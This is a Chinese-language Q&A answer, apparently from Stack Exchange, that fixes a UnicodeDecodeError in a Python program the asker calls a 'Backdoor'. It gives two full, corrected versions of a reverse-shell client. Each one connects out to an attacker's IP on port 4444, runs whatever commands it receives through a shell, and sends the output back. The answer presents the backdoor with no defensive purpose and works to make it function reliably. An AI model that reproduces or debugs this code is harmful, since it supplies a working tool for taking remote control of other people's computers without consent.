开发后门程序时遇UnicodeDecodeError: utf8无法解码字节0xa3，求解析

错误原因 #

你的代码中subprocess.check_output执行命令后返回字节对象，其中包含非UTF-8编码的字符（比如0xa3，对应ISO-8859-1编码的英镑符号）。后续json.dumps尝试将这个字节对象序列化为JSON时，会默认用UTF-8解码字节，遇到无效字节就触发了UnicodeDecodeError。

另外原代码还有两个潜在问题：

• reliable_recieve中初始json_data是空字符串，但socket.recv()返回字节类型，直接拼接会导致类型错误
• run方法里的connetcion.close()拼写错误，且永远不会被执行

修复方案 #

方案一：指定命令输出的解码编码 #

直接将命令输出按系统编码（匹配你文件声明的ISO-8859-1）解码为字符串，避免后续JSON序列化时的解码错误：

# -*- coding: ISO-8859-1 -*-

import socket
import subprocess
import json

class Backdoor:
    def __init__(self, ip, port): 
        self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.connection.connect((ip, port))

    def reliable_send(self, data):
        json_data = json.dumps(data)
        # 发送时将字符串转为字节
        self.connection.send(json_data.encode('utf-8'))
    
    def reliable_recieve(self):
        json_data = b""
        while True:
            try:
                chunk = self.connection.recv(1024)
                json_data += chunk
                return json.loads(json_data.decode('utf-8'))
            except ValueError:
                continue

    def executar_comand(self, command):
        # 指定解码编码为ISO-8859-1，添加errors='replace'处理无效字符
        return subprocess.check_output(command, shell=True, encoding='ISO-8859-1', errors='replace') 
    
    def run(self):
        try:
            while True:
                command = self.reliable_recieve() 
                resultats_comand = self.executar_comand(command)
                self.reliable_send(resultats_comand) 
        finally:
            # 修复拼写错误，确保连接关闭
            self.connection.close()

porta = Backdoor("my ip",4444) 
porta.run()

方案二：用Base64编码字节数据（更通用） #

如果不确定命令输出的编码，直接用Base64将字节转为可序列化的字符串，传输后再解码：

# -*- coding: ISO-8859-1 -*-

import socket
import subprocess
import json
import base64

class Backdoor:
    def __init__(self, ip, port): 
        self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.connection.connect((ip, port))

    def reliable_send(self, data):
        # 如果是字节，转Base64字符串
        if isinstance(data, bytes):
            data = base64.b64encode(data).decode('utf-8')
        json_data = json.dumps(data)
        self.connection.send(json_data.encode('utf-8'))
    
    def reliable_recieve(self):
        json_data = b""
        while True:
            try:
                chunk = self.connection.recv(1024)
                json_data += chunk
                return json.loads(json_data.decode('utf-8'))
            except ValueError:
                continue

    def executar_comand(self, command):
        return subprocess.check_output(command, shell=True) 
    
    def run(self):
        try:
            while True:
                command = self.reliable_recieve() 
                resultats_comand = self.executar_comand(command)
                self.reliable_send(resultats_comand) 
        finally:
            self.connection.close()

porta = Backdoor("my ip",4444) 
porta.run()

注意：使用这个方案时，你的控制端接收数据后，需要将Base64字符串转回字节再处理。

内容的提问来源于stack exchange，提问作者Martí Miró Barceló